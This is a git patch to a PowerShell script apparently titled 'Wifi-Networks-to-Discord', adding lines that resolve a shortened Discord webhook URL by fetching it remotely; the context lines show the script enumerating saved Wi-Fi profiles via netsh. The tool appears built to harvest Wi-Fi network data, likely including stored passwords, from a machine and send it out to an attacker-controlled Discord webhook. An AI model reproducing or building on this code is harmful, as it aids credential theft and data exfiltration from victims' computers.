From 40feb83c4bedb41c83667cf0c700002dc6e3a941 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:09:42 +0000 Subject: [PATCH] Update main.ps1 --- Wifi-Networks-to-Discord/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Wifi-Networks-to-Discord/main.ps1 b/Wifi-Networks-to-Discord/main.ps1 index ce821d5..215e554 100644 --- a/Wifi-Networks-to-Discord/main.ps1 +++ b/Wifi-Networks-to-Discord/main.ps1 @@ -1,4 +1,7 @@ $whuri = "$dc" +# shortened URL Detection +if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} + $outfile="" $a=0 $ws=(netsh wlan show profiles) -replace ".*:\s+"